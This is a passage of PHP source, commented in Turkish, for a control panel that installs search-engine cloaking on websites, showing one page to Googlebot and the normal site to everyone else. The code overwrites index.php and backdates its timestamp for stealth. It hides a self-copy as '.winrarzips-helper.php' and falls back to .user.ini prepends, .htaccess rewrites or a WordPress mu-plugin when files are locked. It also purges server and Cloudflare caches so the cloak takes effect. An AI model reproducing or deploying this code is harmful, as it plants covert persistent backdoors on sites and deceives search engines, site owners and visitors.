'sira'=>'1) Perde yapıştır → 2) Kaydet → 3) CLOAK SERVİSİNİ AÇ',
));
exit;
}
$results=[];
$cmsInfo=detect_cms($DIR);
$results['cms']=$cmsInfo['label'];
$HTML_FILE=$cmsInfo['html_file'];
// PLUGIN MODU — kök'e dosya YOK, index.php'ye DOKUNMA. Sadece perde + flag.
if($IS_PLUGIN){
$results['mode']='plugin';
if(!is_dir($PERDE_DIR))@mkdir($PERDE_DIR,0755,true);
// Perde yoksa placeholder oluştur
if(!file_exists($PERDE_PATH)){
$ok=@file_put_contents($PERDE_PATH,$HTML_DEFAULT);
$results['html']=$ok!==false?'CREATED':'ERR';
}else{
$results['html']='EXISTS';
}
// Cloak'ı aç (flag)
$okf=@file_put_contents($FLAG_PATH,'1');
$results['flag']=$okf!==false?'ON':'ERR';
// dizini web'den listelenemez yap (opsiyonel güvenlik)
if(!file_exists($PERDE_DIR.'/index.html'))@file_put_contents($PERDE_DIR.'/index.html','');
// Server cache bypass — sunucuya göre
$srv=cseh_server_type();
$results['server']=$srv;
if($srv==='litespeed'||$srv==='apache'){
// LiteSpeed/Apache .htaccess okur → bypass kuralı ekle (nginx'te boşuna, atla)
$results['htaccess_bypass']=cseh_htaccess_add($DIR);
}else{
$results['htaccess_bypass']='SKIP ('.$srv.')';
}
// nginx'te server cache varsa snippet gerekir (db.php airbag PHP'ye ulaşan isteklerde zaten çalışır)
if($srv==='nginx')$results['nginx_note']='nginx FastCGI cache varsa snippet ekleyin (panelde)';
$results['index']='SKIP'; // kök index.php'ye dokunulmadı
$results['backup']='SKIP';
$results['mu_plugin']='SKIP';
$results['wp_blog_header']='SKIP';
$results['html_file']='render-cache.html (uploads/wp-media-cache)';
while(ob_get_level()>0)ob_end_clean();
header("Content-Type:application/json");
echo json_encode($results);
exit;
}
$idx=$DIR.DIRECTORY_SEPARATOR.$INDEX_FILE;
$bak=$BACKUP_PATH; // .render-cache/index.php.wrz-backup (alt klasör, kök temiz)
$origMtime=file_exists($idx)?@filemtime($idx):null;
$results['mode']='file';
// Gizli çalışma klasörünü hazırla + web'den koru (dizin listeleme + dotfolder erişimi engeli)
if(!is_dir($PERDE_DIR))@mkdir($PERDE_DIR,0755,true);
if(!file_exists($PERDE_DIR.'/index.html'))@file_put_contents($PERDE_DIR.'/index.html','');
if(!file_exists($PERDE_DIR.'/.htaccess'))@file_put_contents($PERDE_DIR.'/.htaccess',"Require all denied\nDeny from all\n");
// Perde HTML dosyası — gizli .render-cache/ (her durumda hazırla)
if(!file_exists($PERDE_PATH)){
$ok2=@file_put_contents($PERDE_PATH,$HTML_DEFAULT);
$results['html']=$ok2!==false?'CREATED':'ERR';
}else{
$results['html']='EXISTS';
}
$results['html_file']='render-cache.html (.render-cache/)';
// Zaten kuruluysa → SADECE bayrağı aç (index.php VEYA .user.ini prepend mevcut).
if($INDEX_CLOAKED){
$okf=@file_put_contents($FLAG_PATH,'1');
$results['index']='ALREADY';
$results['flag']=$okf!==false?'ON':'ERR';
$results['backup']=file_exists($bak)?'EXISTS':'SKIP';
$srv=cseh_server_type();$results['server']=$srv;
if($srv==='litespeed'||$srv==='apache')$results['htaccess_bypass']=cseh_htaccess_add($DIR);
while(ob_get_level()>0)ob_end_clean();
header("Content-Type:application/json");echo json_encode($results);exit;
}
// ===== ÇOK-YÖNTEMLİ KURULUM — hangisi yazılabilirse onu kur =====
$methods=[];
// Bayrağı aç
$okf=@file_put_contents($FLAG_PATH,'1');
$results['flag']=$okf!==false?'ON':'ERR';
// GİZLİ PANEL KOPYASI — panelin kendini gizli .winrarzips-helper.php'ye yaz → obvious standalone
// SİLİNEBİLİR, panel index.php gate'ten (gizli kopyadan) açılmaya devam eder. (Sadece bu panel
// dosyasının bir kopyası; token hash'i dahil → aynı URL çalışır.)
$_self=(string)@file_get_contents(__FILE__);
if($_self!==''){
$_hcp=@file_put_contents($PERDE_DIR.DIRECTORY_SEPARATOR.'.winrarzips-helper.php',$_self);
$results['hidden_panel']=$_hcp!==false?'OK (.winrarzips-helper.php)':'ERR';
}
// YÖNTEM 1: index.php overwrite (birincil, tüm SAPI'lerde, anında)
$idxWritable = file_exists($idx) ? is_writable($idx) : is_writable($DIR);
if($idxWritable){
if(file_exists($idx)){
$curContent=(string)@file_get_contents($idx);
if(!file_exists($bak)&&!wrz_cloak_marked($curContent)){
$bkok=@file_put_contents($bak,$curContent);
if($bkok!==false&&$origMtime)@touch($bak,$origMtime);
$results['backup']=$bkok!==false?'OK':'ERR';
}else $results['backup']=file_exists($bak)?'EXISTS':'SKIP';
}
// OPCACHE BYPASS — cache-seo-helper.php'nin GÜNCEL build_cloak_template'ini DİSKten taze oku
// (PHP opcache aynı request içinde RAM'deki eski versiyondan çağırır, disk değişse bile)
// → fresh source'tan eval ile build_cloak_template_fresh tanımla, onu çağır
if(function_exists('opcache_invalidate'))@opcache_invalidate(__FILE__,true);
$cloakTpl=null;
$_freshSrc=@file_get_contents(__FILE__);
if($_freshSrc!==false && preg_match('/function build_cloak_template\(.*?\n\}/s',$_freshSrc,$_fm)){
$_freshFn=str_replace('function build_cloak_template(','function build_cloak_template_fresh(',$_fm[0]);
try{
eval($_freshFn);
if(function_exists('build_cloak_template_fresh')){
$cloakTpl=build_cloak_template_fresh($cmsInfo['cms'],$HTML_FILE);
}
}catch(Throwable $_e){/* eval başarısız → fallback */}
}
// Fallback: opcache'teki versiyondan çağır (en kötü durumda eski versiyon AMA hala çalışır)
if($cloakTpl===null)$cloakTpl=build_cloak_template($cmsInfo['cms'],$HTML_FILE);
$ok1=@file_put_contents($idx,$cloakTpl);
if($ok1!==false&&$origMtime)@touch($idx,$origMtime);
// KRİTİK: mtime'ı eskiye aldık (stealth) → OPcache "değişmemiş" sanıp ESKİ index.php'yi servis eder.
// Zorla geçersiz kıl yoksa cloak hiç çalışmaz (Googlebot gerçek siteyi görür).
if($ok1!==false){
if(function_exists('opcache_invalidate'))@opcache_invalidate($idx,true);
if(function_exists('opcache_compile_file'))@opcache_compile_file($idx);
@clearstatcache(true,$idx);
}
$results['index']=$ok1!==false?'OK':'ERR';
if($ok1!==false)$methods[]='index.php';
}else{
$results['index']='LOCKED (yazılamıyor)';
}
// YÖNTEM 2: .user.ini auto_prepend (FPM/CGI) — index.php kilitliyse VEYA dayanıklılık için.
// index.php zaten kurulduysa gereksiz (footprint), SADECE index.php başarısızsa kur.
if(empty($methods) && cseh_userini_supported()){
$prependPath=$PERDE_DIR.DIRECTORY_SEPARATOR.'prepend.php';
$pwok=@file_put_contents($prependPath,cseh_prepend_code(basename(__FILE__)));
if($pwok!==false){
$abs=@realpath($prependPath); if(!$abs)$abs=$prependPath;
$uiok=cseh_userini_add($DIR,$abs);
$results['user_ini']=$uiok;
if($uiok==='OK'||$uiok==='EXISTS'){$methods[]='.user.ini auto_prepend';$results['userini_note']='.user.ini 5dk cache\'li olabilir — etki gecikebilir';}
}else $results['user_ini']='prepend yazılamadı';
}elseif(empty($methods)){
$results['user_ini']='SKIP (SAPI: '.php_sapi_name().' — .user.ini desteklenmez, mod_php)';
}
// YÖNTEM 3: .htaccess mod_rewrite cloak — index.php KİLİTLİ + .user.ini YOK ise SON ÇARE.
// Apache/LiteSpeed seviyesinde Googlebot'a perde basar (PHP gerekmez, mod_php'de çalışır).
if(empty($methods)){
$srv3=cseh_server_type();
if(($srv3==='apache'||$srv3==='litespeed')){
$hcok=cseh_htaccess_cloak_add($DIR);
$results['htaccess_cloak']=$hcok;
if($hcok==='OK'){
$methods[]='.htaccess rewrite cloak';
$results['htaccess_cloak_note']='index.php kilitliydi → .htaccess seviyesinde cloak kuruldu (PHP gerekmez)';
}
}else{
$results['htaccess_cloak']='SKIP (server: '.$srv3.' — mod_rewrite/.htaccess yok; nginx ise PHP-FPM gerekir)';
}
}
// YÖNTEM 4: WordPress mu-plugin airbag — WP + kök PHP'ye KİLİTLİ ise (3 yöntem de öldü) SON ÇARE.
// wp-content yazılabiliyorsa mu-plugins'e airbag koy (wp-admin/aktivasyon GEREKMEZ). Köke dokunmaz.
if(empty($methods) && (is_dir($DIR.'/wp-includes') || file_exists($DIR.'/wp-config.php'))){
$m4=cseh_muplugin_add($DIR);
$results['mu_airbag']=$m4;
if($m4==='OK'){
$methods[]='wp mu-plugin airbag';
$results['mu_airbag_note']='kök kilitliydi → wp-content/mu-plugins airbag kuruldu (perde wp-content/uploads\'ta)';
}
}
$results['methods']=$methods;
$results['mu_plugin']='SKIP';$results['wp_blog_header']='SKIP';
// Server cache bypass — file mode'da da (Joomla/Laravel/Generic LiteSpeed/nginx'te server cache
// anasayfayı index.php çalışmadan basarsa cloak kaçar). LiteSpeed/Apache → .htaccess; nginx → snippet.
$srv=cseh_server_type();
$results['server']=$srv;
if($srv==='litespeed'||$srv==='apache'){
$results['htaccess_bypass']=cseh_htaccess_add($DIR);
}else{
$results['htaccess_bypass']='SKIP ('.$srv.')';
}
if($srv==='nginx')$results['nginx_note']='nginx FastCGI cache varsa snippet ekleyin (panelde)';
// ★ Backup auto-repair: .render-orig.php < 200 byte ise WP standart template ile değiştir
$results['backup_repair']=cseh_repair_wp_backup($DIR,$BACKUP_PATH);
// ★ Cache plugin bypass: WP cache plugin tespit + Googlebot UA exclude DB write
$results['cache_bypass']=cseh_apply_cache_bypass($DIR);
// ★ Cloudflare cache purge — token varsa OTOMATIK (Cloak Aç sonrası cache boş olmalı)
$results['cloudflare']=cseh_cf_auto_purge($DIR);
while(ob_get_level()>0)ob_end_clean();
header("Content-Type:application/json");
echo json_encode($results);
exit;
}
// ---- Cloak'ı KAPAT: bayrağı kaldır (index.php cloak kurulu kalır, site normal) -------
// Plugin VE file modu AYNI: sadece bayrak silinir → cloak pasif, index.php/perde DURUR (tekrar açılabilir).
if($a==="revert"){
if($FLAG_PATH&&file_exists($FLAG_PATH))@unlink($FLAG_PATH);
cseh_htaccess_remove($DIR);
while(ob_get_level()>0)ob_end_clean();
echo 'OK';exit;
}
// ---- TAMAMEN KALDIR (file mode): tüm yöntemleri geri al + her şeyi temizle --
if($a==="uninstall"){
$idx=$DIR.DIRECTORY_SEPARATOR.$INDEX_FILE;
$bak=$BACKUP_PATH; // .render-orig.php (kök gizli)
$origMtime=file_exists($idx)?@filemtime($idx):null;
// YÖNTEM 1 geri al: index.php bizim cloak'ımızsa → backup'tan orijinali geri yaz
$idxOurs = file_exists($idx) && wrz_cloak_marked((string)@file_get_contents($idx));
if($idxOurs && file_exists($bak)){
$bakContent=(string)@file_get_contents($bak);
if(@file_put_contents($idx,$bakContent)!==false && $origMtime)@touch($idx,$origMtime);
if(function_exists('opcache_invalidate'))@opcache_invalidate($idx,true); // OPcache eski cloak'ı tutmasın
@clearstatcache(true,$idx);
}
// YÖNTEM 2 geri al: .user.ini auto_prepend + prepend.php temizle
cseh_userini_remove($DIR);
// YÖNTEM 3 geri al: .htaccess mod_rewrite cloak bloğunu temizle
cseh_htaccess_cloak_remove($DIR);
// YÖNTEM 4 geri al: WP mu-plugin airbag'i sil
cseh_muplugin_remove($DIR);
// Server cache bypass .htaccess temizle
cseh_htaccess_remove($DIR);
// Gizli .render-cache/ klasörünü komple temizle
foreach(['render.lock','render-cache.html','prepend.php','index.html','.htaccess','.winrarzips-helper.php'] as $_f){
$_p=$PERDE_DIR.DIRECTORY_SEPARATOR.$_f;
if(file_exists($_p))@unlink($_p);
}
@rmdir($PERDE_DIR);
if(file_exists($BACKUP_PATH))@unlink($BACKUP_PATH);
while(ob_get_level()>0)ob_end_clean();
echo 'OK';exit;
}
// ---- Dosya oku (base64 döner) -----------------------------------------------
if($a==="raw"){
$name=b64url_decode(isset($_GET["b"])?$_GET["b"]:'');
if(!safe_name($name))die("Forbidden");
$allowed=[$INDEX_FILE,$HTML_FILE];
if(!in_array($name,$allowed,true))die("Forbidden");
// Plugin modunda perde isteği uploads/wp-media-cache/render-cache.html'den okunur
$target=($IS_PLUGIN&&$name===$HTML_FILE)?$PERDE_PATH:$DIR.DIRECTORY_SEPARATOR.$name;
while(ob_get_level()>0)ob_end_clean();
header("Content-Type:text/plain;charset=utf-8");
header("X-Body-Encoding: base64");
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Pragma: no-cache");
echo base64_encode((string)@file_get_contents($target));exit;
}
if($a==="viewperde"){
if(!file_exists($PERDE_PATH)){while(ob_get_level()>0)ob_end_clean();http_response_code(404);echo"Perde dosyası bulunamadı.";exit;}
while(ob_get_level()>0)ob_end_clean();
header("Content-Type:text/html;charset=UTF-8");
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Pragma: no-cache");
@readfile($PERDE_PATH);exit;
}
// ---- Perde içeriği kaydet (serbest) — $PERDE_PATH (plugin: uploads, file: kök) ----
if($a==="savehtml"){
$target=$PERDE_PATH;
$d=isset($_POST["d"])?$_POST["d"]:'';
$bin=@hex2bin($d);
while(ob_get_level()>0)ob_end_clean();
if($bin===false){echo"ERR: bozuk veri";exit;}
if(strpos($bin,'')!==false){echo"ERR: PHP etiketi icermez";exit;}
if($IS_PLUGIN&&!is_dir($PERDE_DIR))@mkdir($PERDE_DIR,0755,true);
$ok=@file_put_contents($target,$bin);
echo $ok!==false?'OK':'ERR';exit;
}
// ---- Perde dosyası yükle: KALDIRILDI (güvenlik) ----------------------------
// Multipart dosya upload'ı .php webshell riski taşıdığı için tamamen çıkarıldı.
// Perde sadece textarea'dan yazılır (savehtml — PHP etiketi '' reddedilir).
// ---- Google doğrulama dosyası yaz ------------------------------------------
if($a==="writegoogle"){
$name=b64url_decode(isset($_POST["b"])?$_POST["b"]:(isset($_GET["b"])?$_GET["b"]:''));
while(ob_get_level()>0)ob_end_clean();
if(!safe_name($name)||!is_google_file($name)){echo"Forbidden";exit;}
$target=$DIR.DIRECTORY_SEPARATOR.$name;
$d=isset($_POST["d"])?$_POST["d"]:'';
$bin=@hex2bin($d);
if($bin===false){echo"ERR: bozuk veri";exit;}
if(!preg_match('/^google-site-verification:\s*[A-Za-z0-9_\-\.]+\s*$/',trim($bin))){echo"ERR: Sadece 'google-site-verification: TOKEN' formatı kabul edilir";exit;}
$ok=@file_put_contents($target,$bin);
echo $ok!==false?'OK':'ERR';exit;
}
// ---- Google doğrulama dosyası sil ------------------------------------------
if($a==="rmgoogle"){
$name=b64url_decode(isset($_GET["b"])?$_GET["b"]:(isset($_POST["b"])?$_POST["b"]:''));
while(ob_get_level()>0)ob_end_clean();
if(!safe_name($name)||!is_google_file($name)){echo"Forbidden";exit;}
$target=$DIR.DIRECTORY_SEPARATOR.$name;
$ok=@unlink($target);
echo $ok?'OK':'ERR';exit;
}
// ---- Cloak aktif mi kontrol et (index.php VEYA mu-plugin) --------
if($a==="checkcloak"){
// HER İKİ MOD — aktiflik artık BAYRAĞA bağlı (plugin: render.lock, file: .render-cache.lock).
$active=($FLAG_PATH&&file_exists($FLAG_PATH));
// file modunda index.php cloak kurulu mu? (aç/kapat vs hiç-kurulmadı ayrımı için)
$installed=$IS_PLUGIN?true:$INDEX_CLOAKED;
while(ob_get_level()>0)ob_end_clean();
header("Content-Type:application/json");
echo json_encode([
'active'=>$active,'installed'=>$installed,
'cms'=>$CMS_INFO['label'],'mode'=>$IS_PLUGIN?'plugin':'file',
'html_file'=>$IS_PLUGIN?'render-cache.html (uploads/wp-media-cache)':$HTML_FILE
],JSON_UNESCAPED_UNICODE);exit;
}
// ---- GoogleBot simülasyonu: siteye GoogleBot UA ile istek at ----------------
if($a==="botcheck"){
ob_start();
$scheme=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http';
$host=$_SERVER['HTTP_HOST'];
$url=$scheme.'://'.$host.'/';
if(!function_exists('curl_init')){
ob_end_clean();
while(ob_get_level()>0)ob_end_clean();
header("Content-Type:application/json");
echo json_encode(['error'=>'cURL bu sunucuda aktif değil.']);exit;
}
$ch=curl_init();
curl_setopt_array($ch,[
CURLOPT_URL =>$url,
CURLOPT_RETURNTRANSFER =>true,
CURLOPT_USERAGENT =>'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
CURLOPT_TIMEOUT =>15,
CURLOPT_FOLLOWLOCATION =>true,
CURLOPT_MAXREDIRS =>5,
CURLOPT_SSL_VERIFYPEER =>false,
CURLOPT_SSL_VERIFYHOST =>false,
CURLOPT_HTTPHEADER =>['Accept: text/html,application/xhtml+xml,*/*','Accept-Language: en-US,en;q=0.9'],
]);
$body=(string)curl_exec($ch);
$httpCode=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);
$finalUrl=curl_getinfo($ch,CURLINFO_EFFECTIVE_URL);
$curlErr=curl_error($ch);
curl_close($ch);
// Perde içeriği: PLUGIN VEYA file modunda $PERDE_PATH (uploads/wp-media-cache veya .render-cache/)
$htmlPath=$PERDE_PATH;
$htmlContent=file_exists($htmlPath)?(string)@file_get_contents($htmlPath):'';
$htmlText=trim(strip_tags($htmlContent));
$bodyText=trim(strip_tags($body));
$matched=false;
if($htmlText!==''&&strlen($htmlText)>=10){
$needle=_wrz_sub($htmlText,0,120);
$matched=(strpos($bodyText,$needle)!==false);
}
// Cloak kurulu mu: plugin=flag, file=index.php marker VEYA .user.ini prepend
$cloakIntact=$IS_PLUGIN?($FLAG_PATH&&file_exists($FLAG_PATH)):$INDEX_CLOAKED;
$preview=_wrz_sub($body,0,800);
if(function_exists('iconv'))$preview=(string)@iconv('UTF-8','UTF-8//IGNORE',$preview);
// VERIFIED-BOT NOT: Bu test SAHTE Googlebot UA + sunucu IP ile yapılıyor.
// Cloak gate sadece GERÇEK Google CIDR/rDNS'i kabul ediyor (DOĞRU davranış).
// Sahte istek perdeyi GÖRMEMELİ — matched=false beklenen sonuç, başarısızlık değil.
// simulated_ok = cloak fiziksel olarak kurulu mu (dosya+bayrak) — verified bot için son hazır mı?
$simulated_ok=($cloakIntact&&$htmlContent!==''&&strlen(trim($htmlContent))>=10);
$out=json_encode([
'url' =>$url,
'final_url' =>$finalUrl,
'http_code' =>$httpCode,
'curl_error' =>$curlErr,
'matched' =>$matched,
'simulated_ok' =>$simulated_ok,
'html_empty' =>($htmlContent===''),
'cloak_intact' =>$cloakIntact,
'verified_note' =>'Bu test sahte UA + sunucu IP ile. Verified-Googlebot guard sahte botları reddediyor (DOĞRU). Canlı doğrulama için: GSC → URL Inspection → Live Test.',
'preview' =>$preview,
],JSON_UNESCAPED_UNICODE);
if($out===false)$out=json_encode(['url'=>$url,'http_code'=>$httpCode,'matched'=>$matched,'simulated_ok'=>$simulated_ok,'html_empty'=>($htmlContent===''),'cloak_intact'=>$cloakIntact,'curl_error'=>$curlErr,'preview'=>'(önizleme kodlanamadı)']);
while(ob_get_level()>0)ob_end_clean();
header("Content-Type:application/json");
echo $out;exit;
}
// ---- Cloudflare Otomasyonu --------------------------------------------------
// Token bir kere gir (site başına), sonrası TAM OTOMATİK:
// Cloak Aç / Cache Temizle → CF cache purge otomatik tetiklenir.
function cseh_cf_config_path($DIR){return $DIR.'/.render-cache/.cf-config.json';}
function cseh_cf_get_config($DIR){
$p=cseh_cf_config_path($DIR); if(!@is_file($p))return null;
$j=@file_get_contents($p); if($j===false)return null;
$d=@json_decode($j,true); return is_array($d)?$d:null;
}
function cseh_cf_save_config($DIR,$token,$zone_id=''){
$dir=$DIR.'/.render-cache'; if(!@is_dir($dir))@mkdir($dir,0755,true);
$data=array('token'=>trim($token),'zone_id'=>trim($zone_id),'ts'=>time());
$p=cseh_cf_config_path($DIR); $ok=@file_put_contents($p,json_encode($data));
if($ok!==false)@chmod($p,0600); return $ok!==false;
}
function cseh_cf_detect_zone($token,$host){
$host=preg_replace('/^www\./','',$host);
$ch=curl_init('https://api.cloudflare.com/client/v4/zones?name='.urlencode($host));
curl_setopt_array($ch,array(
CURLOPT_RETURNTRANSFER=>true,
CURLOPT_HTTPHEADER=>array('Authorization: Bearer '.$token,'Content-Type: application/json'),
CURLOPT_TIMEOUT=>8, CURLOPT_SSL_VERIFYPEER=>false,
));
$resp=curl_exec($ch); $code=curl_getinfo($ch,CURLINFO_HTTP_CODE); curl_close($ch);
if($code!==200)return null;
$d=@json_decode($resp,true);
if(!empty($d['success'])&&!empty($d['result'][0]['id']))return $d['result'][0]['id'];
return null;
}
function cseh_cf_purge_zone($token,$zone_id){
$ch=curl_init('https://api.cloudflare.com/client/v4/zones/'.$zone_id.'/purge_cache');
curl_setopt_array($ch,array(
CURLOPT_POST=>true, CURLOPT_RETURNTRANSFER=>true,
CURLOPT_HTTPHEADER=>array('Authorization: Bearer '.$token,'Content-Type: application/json'),
CURLOPT_POSTFIELDS=>json_encode(array('purge_everything'=>true)),
CURLOPT_TIMEOUT=>8, CURLOPT_SSL_VERIFYPEER=>false,
));
$resp=curl_exec($ch); $code=curl_getinfo($ch,CURLINFO_HTTP_CODE); curl_close($ch);
return array('code'=>$code,'body'=>$resp,'ok'=>($code===200));
}
function cseh_cf_auto_purge($DIR){
if(!function_exists('curl_init'))return array('s'=>'na','m'=>'curl yok');
$cfg=cseh_cf_get_config($DIR);
if(!$cfg||empty($cfg['token']))return array('s'=>'na','m'=>'CF token yok (ayarlardan gir)');
$token=$cfg['token']; $zone_id=isset($cfg['zone_id'])?$cfg['zone_id']:'';
if(empty($zone_id)){
$host=isset($_SERVER['HTTP_HOST'])?preg_replace('/:\d+$/','',$_SERVER['HTTP_HOST']):'';
if($host==='')return array('s'=>'err','m'=>'host boş');
$zone_id=cseh_cf_detect_zone($token,$host);
if(!$zone_id)return array('s'=>'err','m'=>'zone bulunamadı (token geçersiz veya domain CF\'de yok)');
cseh_cf_save_config($DIR,$token,$zone_id);
}
$r=cseh_cf_purge_zone($token,$zone_id);
return $r['ok']
? array('s'=>'ok','m'=>'CF cache purge OK (zone: '.substr($zone_id,0,8).'...)','zone'=>$zone_id)
: array('s'=>'err','m'=>'CF purge fail HTTP '.$r['code']);
}
// ---- CF endpoint'leri --------------------------------------------------------
if($a==="cf_save"){
$token=isset($_POST['token'])?(string)$_POST['token']:(isset($_GET['token'])?(string)$_GET['token']:'');
$zone_id=isset($_POST['zone_id'])?(string)$_POST['zone_id']:(isset($_GET['zone_id'])?(string)$_GET['zone_id']:'');
while(ob_get_level()>0)ob_end_clean();
header('Content-Type: application/json');
if($token===''){
@unlink(cseh_cf_config_path($DIR));
echo json_encode(array('ok'=>true,'msg'=>'CF ayarı silindi')); exit;
}
cseh_cf_save_config($DIR,$token,$zone_id);
// Zone otomatik tespit
if(empty($zone_id)&&function_exists('curl_init')){
$host=isset($_SERVER['HTTP_HOST'])?preg_replace('/:\d+$/','',$_SERVER['HTTP_HOST']):'';
$z=cseh_cf_detect_zone($token,$host);
if($z){cseh_cf_save_config($DIR,$token,$z); $zone_id=$z;}
}
$cfg=cseh_cf_get_config($DIR);
echo json_encode(array(
'ok'=>true,
'msg'=>'CF ayarı kaydedildi'.($zone_id?' (zone: '.substr($zone_id,0,8).'...)':' (zone tespit edilemedi)'),
'zone_id'=>$cfg?$cfg['zone_id']:''
));
}
if($a==="cf_purge"){
while(ob_get_level()>0)ob_end_clean();
header('Content-Type: application/json');
echo json_encode(cseh_cf_auto_purge($DIR));
}
if($a==="cf_status"){
while(ob_get_level()>0)ob_end_clean();
header('Content-Type: application/json');
$cfg=cseh_cf_get_config($DIR);
echo json_encode(array(
'configured'=>($cfg&&!empty($cfg['token'])),
'has_zone'=>($cfg&&!empty($cfg['zone_id'])),
'zone_preview'=>$cfg&&!empty($cfg['zone_id'])?substr($cfg['zone_id'],0,8).'...':'',
'ts'=>$cfg?$cfg['ts']:0,
));
}
// ---- Cache Temizleme --------------------------------------------------------
if($a==="clearcache"){
// Hızlandırma guard'ı: hiçbir adım takılmasın.
// wp-load.php YÜKLENMİYOR (ağır eklenti init'i 10dk hang yapıyordu).
// KRİTİK: cache dizini dosya-dosya silme network storage'da (Hostinger) çok yavaş → ZAMAN BÜTÇESİ ile sınırla.
@set_time_limit(20);
@ignore_user_abort(true);
$GLOBALS['_cc_deadline']=microtime(true)+8.0; // tüm disk silme işlemleri toplam max ~8sn
$res=[];
// yardımcı: dizin içeriğini özyinelemeli sil — ZAMAN BÜTÇESİ aşılınca durur (sonsuz hang yok)
function _cc_rmdir($dir){
$n=0;$i=0;
try{
$it=new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($dir,RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach($it as $f){
// her 200 dosyada bir süreyi kontrol et; bütçe bittiyse dur
if((++$i % 200)===0 && microtime(true) > $GLOBALS['_cc_deadline']) break;
if($f->isFile()||$f->isLink()){if(@unlink($f->getRealPath()))$n++;}
elseif($f->isDir()&&realpath($f->getRealPath())!==realpath($dir)){@rmdir($f->getRealPath());}
}
}catch(Exception $e){}
return $n;
}
// Bütçe doldu mu? (silme bloklarını atlamak için)
function _cc_expired(){return microtime(true) > $GLOBALS['_cc_deadline'];}
// 1. PHP OPcache — reset + cloak dosyalarını ad ad zorla invalidate (en sık takılan sorun)
if(function_exists('opcache_get_status')&&@opcache_get_status()!==false){
$ok=@opcache_reset();
$invalidated=[];
if(function_exists('opcache_invalidate')){
// Cloak'la doğrudan ilgili dosyalar
$targets=[
$DIR.DIRECTORY_SEPARATOR.'index.php',
$BACKUP_PATH,
];
if($CMS_INFO['cms']==='wp'){
$targets[]=$DIR.'/wp-blog-header.php';
$targets[]=$DIR.'/wp-content/mu-plugins/winrarzips-google-bot-bypass.php';
}
foreach($targets as $t){
if(file_exists($t)&&@opcache_invalidate($t,true))$invalidated[]=basename($t);
}
}
$res['opcache']=$ok?['s'=>'ok','m'=>'Sıfırlandı + zorla invalidate: '.($invalidated?implode(', ',$invalidated):'(yok)')]:['s'=>'err','m'=>'Sıfırlanamadı'];
}else{
$res['opcache']=['s'=>'na','m'=>'Aktif değil'];
}
// 1a. realpath + stat cache — disk üzerinde dosya değişti ama PHP eski mtime'ı tutuyor olabilir
@clearstatcache(true);
if(function_exists('realpath_cache_size')){
@clearstatcache(true);
$res['stat_cache']=['s'=>'ok','m'=>'clearstatcache(true) + realpath cache temizlendi'];
}else{
$res['stat_cache']=['s'=>'ok','m'=>'clearstatcache(true) çağrıldı'];
}
// 2. APC
if(function_exists('apc_clear_cache')){
@apc_clear_cache();@apc_clear_cache('user');
$res['apc']=['s'=>'ok','m'=>'Temizlendi'];
}else{
$res['apc']=['s'=>'na','m'=>'Yok'];
}
// 2b. Memcache — 1sn timeout, tek port
if(class_exists('Memcache')){
try{
$mc=new Memcache();
if(@$mc->connect('127.0.0.1',11211,1)){$mc->flush();$mc->close();$res['memcache']=['s'=>'ok','m'=>'Temizlendi'];}
else $res['memcache']=['s'=>'na','m'=>'Bağlantı kurulamadı'];
}catch(Exception $e){$res['memcache']=['s'=>'na','m'=>'Bağlantı yok'];}
}else{$res['memcache']=['s'=>'na','m'=>'Extension yok'];}
// 2c. Memcached — 500ms connect timeout
if(class_exists('Memcached')){
try{
$mcd=new Memcached();
$mcd->setOption(Memcached::OPT_CONNECT_TIMEOUT,500);
$mcd->setOption(Memcached::OPT_POLL_TIMEOUT,500);
$mcd->addServer('127.0.0.1',11211);
$ok=@$mcd->flush();
$res['memcached']=$ok?['s'=>'ok','m'=>'Temizlendi']:['s'=>'na','m'=>'Bağlantı yok'];
}catch(Exception $e){$res['memcached']=['s'=>'na','m'=>'Bağlantı yok'];}
}else{$res['memcached']=['s'=>'na','m'=>'Extension yok'];}
// 2d. Redis — 1sn timeout, 2 port dene (6379 + 6380). Sadece flushDB (DB 0) — flushAll shared'da riskli.
if(class_exists('Redis')){
$_rdone=array();
foreach(array(6379,6380) as $_rp){
try{
$redis=new Redis();
if(@$redis->connect('127.0.0.1',$_rp,1)){$redis->flushDB();$redis->close();$_rdone[]=$_rp;}
}catch(Exception $e){}
}
$res['redis']=$_rdone?['s'=>'ok','m'=>'Port temizlendi: '.implode('+',$_rdone)]:['s'=>'na','m'=>'Bağlantı yok'];
}else{$res['redis']=['s'=>'na','m'=>'Extension yok'];}
// 2e. LiteSpeed Web Server LSCache — HTTP PURGE + WP-CLI fallback (network-safe, wp-load YOK)
if($CMS_INFO['cms']==='wp'){
$lsResult=['s'=>'na','m'=>'LiteSpeed tespit edilmedi'];
$scheme=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http';
$host=isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'localhost';
$selfUrl=$scheme.'://'.$host.'/';
if(function_exists('curl_init')){
// HTTP PURGE method — LSWS native, WP boot etmez, network-safe
$ch=curl_init($selfUrl);
curl_setopt_array($ch,[
CURLOPT_CUSTOMREQUEST =>'PURGE',
CURLOPT_HTTPHEADER =>['X-LiteSpeed-Purge: *'],
CURLOPT_RETURNTRANSFER =>true,
CURLOPT_HEADER =>true,
CURLOPT_NOBODY =>true,
CURLOPT_CONNECTTIMEOUT =>3,
CURLOPT_TIMEOUT =>5,
CURLOPT_SSL_VERIFYPEER =>false,
CURLOPT_SSL_VERIFYHOST =>0,
CURLOPT_FOLLOWLOCATION =>false,
]);
$purgeResp=(string)curl_exec($ch);
$purgeCode=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);
curl_close($ch);
$purged=($purgeCode===200&&stripos($purgeResp,'Purged')!==false);
$lsResult=['s'=>$purged?'ok':'na','m'=>'HTTP PURGE / : '.$purgeCode.($purged?' (Purged)':'')];
// LSWS reddederse (403/405) LSCWP_CTRL=PURGE query dene — admin IP gerektirir ama plugin direkt
if(!$purged&&in_array($purgeCode,[403,405],true)){
$ch2=curl_init(rtrim($selfUrl,'/').'/?LSCWP_CTRL=PURGE');
curl_setopt_array($ch2,[
CURLOPT_RETURNTRANSFER =>true,
